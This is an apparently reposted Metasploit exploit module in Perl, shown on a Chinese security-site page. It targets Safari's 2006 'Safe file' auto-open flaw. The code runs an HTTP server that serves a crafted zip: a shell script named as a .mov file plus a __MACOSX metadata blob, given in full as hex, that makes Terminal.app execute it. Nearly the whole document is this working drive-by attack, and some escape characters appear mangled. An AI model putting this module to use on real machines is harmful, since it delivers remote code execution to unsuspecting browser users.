Apple Mac OS X / Safari __MACOSX ZIP Archive Remote Code Execution Exploit

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Apple Mac OS X / Safari __MACOSX ZIP Archive Remote Code Execution Exploit

【字体：小大】

Apple Mac OS X / Safari __MACOSX ZIP Archive Remote Code Execution Exploit

作者：佚名安全中心来源：不详点击数：更新时间：2007-10-10

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::safari_safefiles_exec;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;
use FindBin qw;

my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};

my $info =
{
'Name' => 'Safari Archive Metadata Command Execution',
'Version' => '$Revision: 1.3 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com',
],

'Description' =>
Pex::Text::Freeform(qq{
This module exploits a vulnerability in Safari's "Safe file" feature, which will
automatically open any file with one of the allowed extensions. This can be abused
by supplying a zip file, containing a shell script, with a metafile indicating
that the file should be opened by Terminal.app. This module depends on
the 'zip' command-line utility.
}),

'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,

'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
'REALHOST' => [ 0, 'HOST', 'External address to use for redirects (NAT)' ],
},

'Payload' =>
{
'Space' => 8000,
'MinNops' => 0,
'MaxNops' => 0,
'Keys' => ['cmd', 'cmd_bash'],
},
'Refs' =>
[
['URL', 'http://www.heise.de/english/newsticker/news/69862'],
['BID', '16736'],
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic' ]
],

'Keys' => [ 'safari' ],

'DisclosureDate' => 'Feb 21 2006',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;

# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}

my $httphost = $self->GetVar('HTTPHOST');
$httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0';

$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");

while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}

return;
}

sub HandleHttpClient
{
my $self = shift;
my $fd = shift;

# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);

# Read the HTTP command
my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
my $agent;

# Read in the HTTP headers
while ((my $line = $fd->RecvLine(10))) {

$line =~ s/^/s+|/s+$//g;

my ($var, $val) = split(//:/, $line, 2);

# Break out if we reach the end of the headers
last if (not defined($var) or not defined($val));

$agent = $val if $var =~ /User-Agent/i;
}

my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = $self->GetVar('EncodedPayload')->RawPayload;
my $content = $self->CreateZip($shellcode) || return;

$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)."
bytes of payload...");

$fd->Send($self->BuildResponse($content));

select(undef, undef, undef, 0.1);

$fd->Close();
}

sub RandomHeaders {
my $self = shift;
my $head = '';

while (length($head) < 3072) {
$head .= "X-" .
Pex::Text::AlphaNumText(int(rand(30) + 5)) . ': ' .
Pex::Text::AlphaNumText(int(rand(256) + 5)) ."/r/n";
}
return $head;
}

sub BuildResponse {
my ($self, $content) = @_;

my $response =
"HTTP/1.1 200 OK/r/n" .
$self->RandomHeaders() .
"Content-Type: application/zip/r/n";

if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip/r/n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked/r/n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "/r/n" .
"Connection: close/r/n";
}

$response .= "/r/n" . $content;

return $response;
}

sub Chunk {
my ($self, $content) = @_;

my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "/r/n$chunk/r/n";
}
$chunked .= "0/r/n/r/n";

return $chunked;
}

sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;

my($wtr, $rdr, $err);

my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;

return (<$rdr>);
}

# Lame!
sub CreateZip {
my $self = shift;
my $cmds = shift;

my $data = $cmds."/n";
my $name = Pex::Text::AlphaNumText(int(rand(10)+4)).".mov";
my $temp = ($ENV || $RealBin || "/tmp") . "/msf_safari_temp_".Pex::Text::AlphaNumText(16);

if ($self->GotZip != 0) {
$self->PrintLine("[*] Could not execute the zip command (or zip returned an error)");
return;
}

if (! mkdir($temp,0755)) {
$self->PrintLine("[*] Could not create a temporary directory: $!");
return;
}

if (! chdir($temp)) {
$self->PrintLine("[*] Could not change into temporary directory: $!");
$self->Nuke($temp);
return;
}

if (! mkdir("$temp/__MACOSX",0755)) {
$self->PrintLine("[*] Could not create the MACOSX temporary directory: $!");
return $self->Nuke($temp);
return;
}

if (! open(TMP, ">$temp/$name")) {
$self->PrintLine("[*] Could not create the shell script: $!");
$self->Nuke($temp);
return;
}

print TMP $data;
close(TMP);

# This is important :)
chmod(0755, "$temp/$name");

if (! open(TMP, ">$temp/__MACOSX/._".$name)) {
$self->PrintLine("[*] Could not create the metafile: $!");
$self->Nuke($temp);
return;
}

print TMP $self->OSXMetaFile;
close(TMP);

system("zip", "exploit.zip", $name, "__MACOSX/._".$name);

if( ! open(TMP, "<"."exploit.zip")) {
$self->PrintLine("[*] Failed to create exploit.zip (weird zip command?)");
$self->Nuke($temp);
return;
}

my $xzip;
while (<TMP>) { $xzip .= $_ }
close (TMP);

$self->Nuke($temp);
return $xzip;
}

sub Nuke {
my $self = shift;
my $temp = shift;
system("rm", "-rf", $temp);
return;
}

sub GotZip {
return system("zip -h >/dev/null 2>&1");
}

sub OSXMetaFile {
return
"/x00/x05/x16/x07/x00/x02/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x02/x00/x00/x00/x09/x00/x00".
"/x00/x32/x00/x00/x00/x20/x00/x00/x00/x02/x00/x00/x00/x52/x00/x00".
"/x05/x3a/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x01/x00/x00/x00/x05/x08/x00/x00/x04/x08/x00/x00".
"/x00/x32/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x04/x04/x00/x00/x00/x25/x2f/x41/x70/x70/x6c/x69".
"/x63/x61/x74/x69/x6f/x6e/x73/x2f/x55/x74/x69/x6c/x69/x74/x69/x65".
"/x73/x2f/x54/x65/x72/x6d/x69/x6e/x61/x6c/x2e/x61/x70/x70/x00/xec".
"/xec/xec/xff/xec/xec/xec/xff/xec/xec/xec/xff/xec/xec/xec/xff/xec".
"/xec/xec/xff/xec/xec/xec/xff/xe1/xe1/xe1/xff/xe1/xe1/xe1/xff/xe1".
"/xe1/xe1/xff/xe1/xe1/xe1/xff/xe1/xe1/xe1/xff/xe1/xe1/xe1/xff/xe1".
"/xe1/xe1/xff/xe1/xe1/xe1/xff/xe6/xe6/xe6/xff/xe6/xe6/xe6/xff/xe6".
"/xe6/xe6/xff/xe6/xe6/xe6/xff/xe6/xe6/xe6/xff/xe6/xe6/xe6/xff/xe6".
"/xe6/xe6/xff/xe6/xe6/xe6/xff/xe9/xe9/xe9/xff/xe9/xe9/xe9/xff/xe9".
"/xe9/xe9/xff/xe9/xe9/xe9/xff/xe9/xe9/xe9/xff/xe9/xe9/xe9/xff/xe9".
"/xe9/xe9/xff/xe9/xe9/xe9/xff/xec/xec/xec/xff/xec/xec/xec/xff/xec".
"/xec/xec/xff/xec/xec/xec/xff/xec/xec/xec/xff/xec/xec/xec/xff/xec".
"/xec/xec/xff/xec/xec/xec/xff/xef/xef/xef/xff/xef/xef/xef/xff/xef".
"/xef/xef/xff/xef/xef/xef/xff/xef/xef/xef/xff/xef/xef/xef/xff/xef".
"/xef/xef/xff/xef/xef/xef/xff/xf3/xf3/xf3/xff/xf3/xf3/xf3/xff/xf3".
"/xf3/xf3/xff/xf3/xf3/xf3/xff/xf3/xf3/xf3/xff/xf3/xf3/xf3/xff/xf3".
"/xf3/xf3/xff/xf3/xf3/xf3/xff/xf6/xf6/xf6/xff/xf6/xf6/xf6/xff/xf6".
"/xf6/xf6/xff/xf6/xf6/xf6/xff/xf6/xf6/xf6/xff/xf6/xf6/xf6/xff/xf6".
"/xf6/xf6/xff/xf6/xf6/xf6/xff/xf8/xf8/xf8/xff/xf8/xf8/xf8/xff/xf8".
"/xf8/xf8/xff/xf8/xf8/xf8/xff/xf8/xf8/xf8/xff/xf8/xf8/xf8/xff/xf8".
"/xf8/xf8/xff/xf8/xf8/xf8/xff/xfc/xfc/xfc/xff/xfc/xfc/xfc/xff/xfc".
"/xfc/xfc/xff/xfc/xfc/xfc/xff/xfc/xfc/xfc/xff/xfc/xfc/xfc/xff/xfc".
"/xfc/xfc/xff/xfc/xfc/xfc/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff".
"/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff".
"/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff".
"/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff".
"/xff/xff/xff/xff/xff/xff/xa8/x00/x00/x00/xa8/x00/x00/x00/xa8/x00".
"/x00/x00/xa8/x00/x00/x00/xa8/x00/x00/x00/xa8/x00/x00/x00/xa8/x00".
"/x00/x00/xa8/x00/x00/x00/x2a/x00/x00/x00/x2a/x00/x00/x00/x2a/x00".
"/x00/x00/x2a/x00/x00/x00/x2a/x00/x00/x00/x2a/x00/x00/x00/x2a/x00".
"/x00/x00/x2a/x00/x00/x00/x03/x00/x00/x00/x03/x00/x00/x00/x03/x00".
"/x00/x00/x03/x00/x00/x00/x03/x00/x00/x00/x03/x00/x00/x00/x03/x00".
"/x00/x00/x03/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x01/x00/x00/x00".
"/x05/x08/x00/x00/x04/x08/x00/x00/x00/x32/x00/x5f/xd0/xac/x12/xc2".
"/x00/x00/x00/x1c/x00/x32/x00/x00/x75/x73/x72/x6f/x00/x00/x00/x0a".
"/x00/x00/xff/xff/x00/x00/x00/x00/x01/x0d/x21/x7c";
}
1;

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